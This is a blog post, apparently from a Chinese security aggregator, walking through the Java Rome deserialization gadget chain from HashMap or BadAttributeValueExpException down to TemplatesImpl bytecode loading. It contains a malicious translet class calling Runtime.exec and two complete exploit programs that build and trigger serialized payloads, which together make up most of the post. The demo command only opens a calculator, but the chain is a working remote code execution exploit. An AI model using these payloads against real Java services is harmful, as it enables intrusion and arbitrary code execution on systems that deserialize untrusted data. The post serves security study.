当前位置:网站首页>Rome chain analysis
Rome chain analysis
2022-07-05 04:02:00 【Sk1y】
Rome Chain analysis
List of articles
ysoserial Call chain in
The top is the end of the chain , The bottom is the beginning of the chain
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
Or reverse order analysis
TemplatesImpl Internal call
TemplatesImpl Malicious bytecode can be loaded , The basic call chain is , see newTransformer(), The known call chain is as follows
TemplatesImpl-->newTransformer()
TemplatesImpl-->getTransletInstance()
TemplatesImpl-->defineTransletClasses()
TemplatesImpl-->defineClass()
Be careful getOutputProperties() Method is called newTransformer() Method
So the call here is
TemplatesImpl-->getOutputProperties()
TemplatesImpl-->newTransformer()
TemplatesImpl-->getTransletInstance()
TemplatesImpl-->defineTransletClasses()
TemplatesImpl-->defineClass()
Write a calc1.java
//calc1.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class calc1 extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String[] args) {
System.out.println(1);
}
public calc1() throws Exception{
super();
Runtime.getRuntime().exec("calc");
}
}
Compile the generated class file , And then dynamically load
public static void main(String[] args) throws Exception {
// Malicious bytecode
String fileName = "D:\\project\\java\\test\\target\\classes\\calc1.class";
Path path = Paths.get(fileName);
byte[] bytes = Files.readAllBytes(path);
String bytes1 = Base64.getEncoder().encodeToString(bytes);
// System.out.println(bytes1);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode(bytes1);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","sk1y"); // Cannot be set to null, Or return to null
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{
code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.getOutputProperties();
}
Running results
The next step is to see how to call TemplatesImpl.getOutputProperties()
ToStringBean.toString()–>TemplatesImpl.getOutputProperties()
ToStringBean The constructor of is public Of , You can pass in a class and object
Let's see ToStringBean Class toString Method
To follow up getPropertyDescriptors
Method , Will get _beanClass
All of the getter and setter Method , and _beanClass
It's under our control
getPDs Method in BeanIntrospector Overload in class
getOutputProperties
accord with get The format at the beginning , So we can use this ToStringBean.toString() To trigger TemplatesImpl.getOutputProperties()
Comment out the original trigger point , Then add... At the end of the above code
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);
toStringBean.toString();
debugged
If you find it, you will call the parameterless toString(), Then call the parameter toString(prefix)
And then to getPDs, Will get getter Method
And then you'll see , in total 5 A way , Cycle call ,getOutputProperties In the third
then invoke To call
Running results
Next , Is the trigger ToStringBean.toString()
EqualsBean.hashCode–>ToStringBean.toString()
EqualsBean Class hashCode()–>beanHashCode()–>toString()
Where member variables _obj
controllable
Comment the original trigger point , add to
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
equalsBean.hashCode();
Running results
ObjectBean.hashCode–>toString
ObjectBean Class can trigger hashCode, It can also trigger toString()
Look at this constructor
We can find out , There are many possibilities for this part of the call chain , Here is a screenshot of the boss' blog
HashMap–>hashCode
HashMap Class is used to call hashcode() Methodical
HashMap Of readObject Method is called hash() Method
To follow up hash(), Found called key.hashCode()
We know ,HashMap Of put() Method Insert the specified key value pair into HashMap in
example
package test;
import java.util.HashMap;
public class hashmap_test {
public static void main(String[] args) {
HashMap<Integer, String> map = new HashMap<>();
map.put(1,"sss");
System.out.println(map);
}
}
Running results
But here actually put When , It will also cause the calculator to bounce , because put Call in hash(), It's done directly
This can be modified by reflection , Put it in first, harmless , Then replace the malicious class _equalsBean
This thing can't be implemented , Unknown cause , I am here debug When , Follow me
When i=2 when , Would call getOutputProperties, That is, it can execute calc 了
But when i=1 When , In execution
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
This is going to happen
Jump to the
And then it didn't and then , Straight out , Don't execute i=2 The situation of
Solutions to problems encountered
Put the following code TemplatesImpl.class
Replace with Templates.class
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
exp
package Rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class Rome2 {
public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// Malicious bytecode
String fileName = "D:\\project\\java\\test\\target\\classes\\calc1.class";
Path path = Paths.get(fileName);
byte[] bytes = Files.readAllBytes(path);
String bytes1 = Base64.getEncoder().encodeToString(bytes);
// System.out.println(bytes1);
byte[] code = Base64.getDecoder().decode(bytes1);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","sk1y"); // Cannot be set to null, Or return to null
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{
code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
//
ObjectBean objectBean = new ObjectBean(String.class, "1"); // Write a normal class here
HashMap<Object, Integer> hashMap = new HashMap<>();
hashMap.put(objectBean,1);
setFieldValue(objectBean,"_equalsBean",new EqualsBean(ToStringBean.class,toStringBean)); // Reflection writes malicious classes
ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout);
oout.writeObject(hashMap);
byte[] sss = baout.toByteArray();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(sss));
ois.readObject();
}
}
BadAttributeValueExpException
Based on the above analysis , stay ObjectBean Class , Can be called directly toString To make the call ToStringBean.toString()
And trigger toString Can pass BadAttributeValueExpException Trigger
exp
package Rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class Rome2 {
public static void unserialize(byte[] bytes) throws Exception{
ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain);
oin.readObject();
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// Malicious bytecode
String fileName = "D:\\project\\java\\test\\target\\classes\\calc1.class";
Path path = Paths.get(fileName);
byte[] bytes = Files.readAllBytes(path);
String bytes1 = Base64.getEncoder().encodeToString(bytes);
// System.out.println(bytes1);
byte[] code = Base64.getDecoder().decode(bytes1);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","sk1y"); // Cannot be set to null, Or return to null
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{
code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
ObjectBean objectBean = new ObjectBean(String.class, "1");
setFieldValue(objectBean,"_toStringBean",toStringBean);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("aaa");
setFieldValue(badAttributeValueExpException,"val",objectBean);
unserialize(serialize(badAttributeValueExpException));
}
}
Running results
Call the process
Simplify it a little bit
But analyze the code 2 Call to , Why not just from BadAttributeValueExpException Call directly to ToStringBean, And skip ObjectBean
The main codes are as follows
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","sk1y"); // Cannot be set to null, Or return to null
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{
code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("aaa");
setFieldValue(badAttributeValueExpException,"val",toStringBean);
unserialize(serialize(badAttributeValueExpException));
Running results
Reference link
边栏推荐
猜你喜欢
Containerization Foundation
Plasticscm enterprise crack
Wechat applet development process (with mind map)
Enterprise level: spire Office for . NET:Platinum|7.7. x
IronXL for . NET 2022.6
MindFusion.Virtual Keyboard for WPF
Threejs rendering obj+mtl model source code, 3D factory model
特殊版:SpreadJS v15.1 VS SpreadJS v15.0
Behavior perception system
[wp][introduction] brush weak type questions
随机推荐
Threejs rendering obj+mtl model source code, 3D factory model
“金九银十”是找工作的最佳时期吗?那倒未必
What is the reason why the webrtc protocol video cannot be played on the easycvr platform?
阿里云ECS使用cloudfs4oss挂载OSS
IronXL for .NET 2022.6
Use of vscode software
Redis之Jedis如何使用
C language course setting: cinema ticket selling management system
Is there a sudden failure on the line? How to make emergency diagnosis, troubleshooting and recovery
【看完就懂系列】一文6000字教你从0到1实现接口自动化
Web components series (VII) -- life cycle of custom components
speed or tempo in classical music
JWT漏洞复现
官宣!第三届云原生编程挑战赛正式启动!
Pyqt5 displays file names and pictures
The order of LDS links
陇原战“疫“2021网络安全大赛 Web EasyJaba
Possible stack order of stack order with length n
Wechat applet development process (with mind map)
[web Audit - source code disclosure] obtain source code methods and use tools